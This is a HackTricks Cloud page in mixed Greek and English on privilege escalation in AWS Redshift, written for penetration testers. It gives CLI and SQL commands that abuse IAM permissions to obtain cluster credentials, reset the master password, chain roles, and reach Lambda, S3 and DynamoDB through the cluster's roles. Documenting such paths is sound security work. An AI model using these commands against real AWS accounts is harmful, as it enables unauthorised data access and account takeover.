AWS - Redshift Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Redshift
Για περισσότερες πληροφορίες σχετικά με το RDS δείτε:
redshift:DescribeClusters, redshift:GetClusterCredentials
Με αυτά τα permissions μπορείτε να αποκτήσετε info of all the clusters (including name and cluster username) και να get credentials ώστε να αποκτήσετε πρόσβαση σε αυτά:
# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
Πιθανός αντίκτυπος: Εύρεση ευαίσθητων πληροφοριών μέσα στις βάσεις δεδομένων.
redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM
Με αυτά τα permissions μπορείτε να πάρετε πληροφορίες για όλα τα clusters και να αποκτήσετε credentials για να έχετε πρόσβαση.
Σημειώστε ότι ο χρήστης postgres θα έχει τα permissions που έχει η IAM identity που χρησιμοποιήθηκε για να πάρει τα credentials.
# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
Πιθανός Αντίκτυπος: Εντοπισμός ευαίσθητων πληροφοριών μέσα στις βάσεις δεδομένων.
redshift:DescribeClusters, redshift:ModifyCluster?
Είναι δυνατό να τροποποιήσετε τον κύριο κωδικό πρόσβασης του εσωτερικού χρήστη postgres (redshit) από το aws cli (νομίζω ότι αυτές είναι οι permissions που χρειάζεστε, αλλά δεν έχουν δοκιμαστεί ακόμα):
aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
Potential Impact: Εντοπισμός ευαίσθητων πληροφοριών μέσα στις βάσεις δεδομένων.
Πρόσβαση σε Εξωτερικές Υπηρεσίες
Warning
Για να αποκτήσετε πρόσβαση σε όλους τους παρακάτω πόρους, θα πρέπει να προσδιορίσετε τον ρόλο που θα χρησιμοποιήσετε. Ένας Redshift cluster μπορεί να έχει εκχωρημένη μια λίστα AWS roles που μπορείτε να χρησιμοποιήσετε εάν γνωρίζετε το ARN ή μπορείτε απλώς να ορίσετε “default” για να χρησιμοποιήσετε τον προεπιλεγμένο που έχει εκχωρηθεί.
Επιπλέον, όπως εξηγείται εδώ, το Redshift επιτρέπει επίσης να συνενώσει roles (εφόσον ο πρώτος μπορεί να αναλάβει τον δεύτερο) για να αποκτήσετε περαιτέρω πρόσβαση αλλά απλά χωρίζοντάς τους με ένα κόμμα:
iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';
Lambdas
As explained in https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, it’s possible to καλέσετε μια lambda function από το redshift με κάτι σαν:
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;
S3
Όπως εξηγείται στο https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, είναι δυνατή η ανάγνωση και εγγραφή σε S3 buckets:
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;
# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;
Dynamo
Όπως εξηγείται στο https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, είναι δυνατό να αποκτήσετε δεδομένα από dynamodb:
copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
Warning
Ο πίνακας Amazon DynamoDB που παρέχει τα δεδομένα πρέπει να δημιουργηθεί στην ίδια AWS Region με το cluster σας, εκτός αν χρησιμοποιήσετε την επιλογή REGION για να καθορίσετε την AWS Region στην οποία βρίσκεται ο πίνακας Amazon DynamoDB.
EMR
Δείτε https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html
Αναφορές
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

